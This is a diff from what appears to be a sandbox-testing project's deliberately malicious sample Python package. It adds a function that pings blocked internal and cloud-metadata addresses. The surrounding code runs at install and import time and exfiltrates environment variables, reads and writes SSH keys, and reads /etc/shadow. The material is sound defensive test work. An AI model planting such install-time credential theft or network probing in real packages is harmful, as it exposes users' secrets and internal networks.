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Add functionality for sample package to attempt to ping blocked addresses #996

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2 changes: 1 addition & 1 deletion sample_packages/sample_python_package/setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,4 +9,4 @@
setup(name="sample_python_package",
packages=find_packages(),)

[f("setup.py", True) for f in https_functions + access_credentials_functions]
[f("setup.py", True) for f in network_functions + access_credentials_functions]
2 changes: 1 addition & 1 deletion sample_packages/sample_python_package/src/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,4 +5,4 @@

from example import *

[f("__init__.py", True) for f in https_functions + access_credentials_functions]
[f("__init__.py", True) for f in network_functions + access_credentials_functions]
30 changes: 27 additions & 3 deletions sample_packages/sample_python_package/src/example.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
import http.client
import json
import os
import re

# Sends an HTTPS post request and prints out the response.
# Exfiltrates environment variables.
Expand All @@ -14,6 +15,28 @@ def send_https_post_request(called_from: str, print_logs: bool) -> None:
if print_logs:
print(response.read().decode())

# Attempts to ping a subset of addresses that packages should not be able to
# ping. Checks if those addresses will send a packet back.
def connect_to_blocked_addresses(called_from: str, print_logs: bool) -> None:
# blocked_addresses is based off of ip addresses that we block access to in
# tools/network/iptables.rules
blocked_addresses = ["172.16.16.1", "169.254.169.254", "10.0.0.1",
"172.16.0.1", "192.168.0.1"]
successful_pings = []
for ip in blocked_addresses:
response = os.popen("ping -w 2 " + ip).read()
packets_received = re.search(", (\d+) received,", response).group(1)
if packets_received != "0":
successful_pings.append(ip)
if print_logs:
print(f"Called from: {called_from}")
if len(successful_pings) == 0:
print("No blocked addresses pinged successfully.")
else:
print(
"Successfully pinged the following addresses that should be blocked: ",
successful_pings)


# Access ssh keys and attempts to read and write to them.
def access_ssh_keys(called_from: str, print_logs: bool) -> None:
Expand Down Expand Up @@ -59,12 +82,13 @@ def access_passwords(called_from: str, print_logs: bool) -> None:
# Requires root to read.
read_file_and_log(shadow_password_file, called_from, print_logs)

# Collection of functionalities to run that can be customized.
https_functions = [send_https_post_request]
# Collection of functionalities to run that can be customized. Pick relevant ones and then rebuild the package.
# Notes: connect_to_blocked_addresses is slow because it will wait for ping responses.
network_functions = [send_https_post_request, connect_to_blocked_addresses]
access_credentials_functions = [access_ssh_keys, access_passwords]

def main():
[f("main function", True) for f in https_functions + access_credentials_functions]
[f("main function", True) for f in network_functions + access_credentials_functions]

if __name__ == "__main__":
main()